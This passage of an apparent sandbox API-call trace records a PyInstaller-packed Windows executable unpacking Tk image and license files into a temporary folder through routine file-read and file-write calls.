(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.531] GetFileType (hFile=0x10c) returned 0x1 [0044.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.531] CloseHandle (hObject=0x10c) returned 1 [0044.531] GetLastError () returned 0x0 [0044.531] SetLastError (dwErrCode=0x0) [0044.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.531] GetFileType (hFile=0x10c) returned 0x1 [0044.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.532] CloseHandle (hObject=0x10c) returned 1 [0044.532] GetLastError () returned 0x0 [0044.532] SetLastError (dwErrCode=0x0) [0044.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif") returned 70 [0044.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo75.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.532] GetLastError () returned 0x2 [0044.532] SetLastError (dwErrCode=0x2) [0044.532] GetLastError () returned 0x2 [0044.532] SetLastError (dwErrCode=0x2) [0044.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif", lpFilePart=0x0) returned 0x45 [0044.532] GetLastError () returned 0x2 [0044.532] SetLastError (dwErrCode=0x2) [0044.532] GetLastError () returned 0x2 [0044.532] SetLastError (dwErrCode=0x2) [0044.532] GetLastError () returned 0x2 [0044.532] SetLastError (dwErrCode=0x2) [0044.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif") returned 70 [0044.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\pwrdLogo75.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\pwrdlogo75.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.533] GetFileType (hFile=0x10c) returned 0x1 [0044.533] htonl (hostlong=0x93040000) returned 0x493 [0044.533] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.533] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x493, lpOverlapped=0x0) returned 1 [0044.534] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.534] CloseHandle (hObject=0x10c) returned 1 [0044.534] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.534] htonl (hostlong=0x30000000) returned 0x30 [0044.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.534] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.534] GetFileType (hFile=0x10c) returned 0x1 [0044.534] htonl (hostlong=0x138d5e00) returned 0x5e8d13 [0044.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x633d13, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.534] htonl (hostlong=0x18150000) returned 0x1518 [0044.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1518) returned 0x561090 [0044.534] htonl (hostlong=0x18150000) returned 0x1518 [0044.534] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5625b0 [0044.534] ReadFile (in: hFile=0x10c, lpBuffer=0x5625b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5625b0*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.534] htonl (hostlong=0x61150000) returned 0x1561 [0044.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1561) returned 0x5635b8 [0044.534] htonl (hostlong=0x18150000) returned 0x1518 [0044.535] htonl (hostlong=0x61150000) returned 0x1561 [0044.535] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564b28 [0044.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564b28 | out: hHeap=0x530000) returned 1 [0044.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5625b0 | out: hHeap=0x530000) returned 1 [0044.535] CloseHandle (hObject=0x10c) returned 1 [0044.535] GetLastError () returned 0x0 [0044.535] SetLastError (dwErrCode=0x0) [0044.535] GetLastError () returned 0x0 [0044.535] SetLastError (dwErrCode=0x0) [0044.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.535] GetFileType (hFile=0x10c) returned 0x1 [0044.535] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.535] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.535] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.535] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.535] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.535] CloseHandle (hObject=0x10c) returned 1 [0044.536] GetLastError () returned 0x0 [0044.536] SetLastError (dwErrCode=0x0) [0044.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.536] GetFileType (hFile=0x10c) returned 0x1 [0044.536] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.536] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.536] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.536] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.536] CloseHandle (hObject=0x10c) returned 1 [0044.536] GetLastError () returned 0x0 [0044.536] SetLastError (dwErrCode=0x0) [0044.536] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif") returned 66 [0044.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\tai-ku.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.536] GetLastError () returned 0x2 [0044.536] SetLastError (dwErrCode=0x2) [0044.536] GetLastError () returned 0x2 [0044.536] SetLastError (dwErrCode=0x2) [0044.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif", lpFilePart=0x0) returned 0x41 [0044.536] GetLastError () returned 0x2 [0044.537] SetLastError (dwErrCode=0x2) [0044.537] GetLastError () returned 0x2 [0044.537] SetLastError (dwErrCode=0x2) [0044.537] GetLastError () returned 0x2 [0044.537] SetLastError (dwErrCode=0x2) [0044.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif") returned 66 [0044.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\tai-ku.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\tai-ku.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.537] GetFileType (hFile=0x10c) returned 0x1 [0044.537] htonl (hostlong=0x61150000) returned 0x1561 [0044.538] WriteFile (in: hFile=0x10c, lpBuffer=0x5635b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5635b8*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.538] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.538] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x561, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x561, lpOverlapped=0x0) returned 1 [0044.539] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.539] CloseHandle (hObject=0x10c) returned 1 [0044.539] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635b8 | out: hHeap=0x530000) returned 1 [0044.539] htonl (hostlong=0x30000000) returned 0x30 [0044.539] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.539] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.540] GetFileType (hFile=0x10c) returned 0x1 [0044.540] htonl (hostlong=0x2ba25e00) returned 0x5ea22b [0044.540] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x63522b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.540] htonl (hostlong=0x85040000) returned 0x485 [0044.540] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x485) returned 0x550600 [0044.540] htonl (hostlong=0x85040000) returned 0x485 [0044.540] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.540] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.541] htonl (hostlong=0xa0080000) returned 0x8a0 [0044.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a0) returned 0x55e278 [0044.541] htonl (hostlong=0x85040000) returned 0x485 [0044.541] htonl (hostlong=0xa0080000) returned 0x8a0 [0044.541] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.541] CloseHandle (hObject=0x10c) returned 1 [0044.541] GetLastError () returned 0x0 [0044.541] SetLastError (dwErrCode=0x0) [0044.541] GetLastError () returned 0x0 [0044.541] SetLastError (dwErrCode=0x0) [0044.541] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.541] GetFileType (hFile=0x10c) returned 0x1 [0044.541] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.541] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.541] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.541] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.541] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.541] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.541] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.541] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.541] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.542] CloseHandle (hObject=0x10c) returned 1 [0044.542] GetLastError () returned 0x0 [0044.542] SetLastError (dwErrCode=0x0) [0044.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms") returned 62 [0044.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\license.terms"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.542] GetLastError () returned 0x2 [0044.542] SetLastError (dwErrCode=0x2) [0044.542] GetLastError () returned 0x2 [0044.542] SetLastError (dwErrCode=0x2) [0044.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms", lpFilePart=0x0) returned 0x3d [0044.542] GetLastError () returned 0x2 [0044.542] SetLastError (dwErrCode=0x2) [0044.542] GetLastError () returned 0x2 [0044.542] SetLastError (dwErrCode=0x2) [0044.542] GetLastError () returned 0x2 [0044.542] SetLastError (dwErrCode=0x2) [0044.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms") returned 62 [0044.542] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\license.terms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\license.terms"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.542] GetFileType (hFile=0x10c) returned 0x1 [0044.542] htonl (hostlong=0xa0080000) returned 0x8a0 [0044.542] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.542] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x8a0, lpOverlapped=0x0) returned 1 [0044.543] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.543] CloseHandle (hObject=0x10c) returned 1 [0044.543] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.543] htonl (hostlong=0x30000000) returned 0x30 [0044.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.543] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, 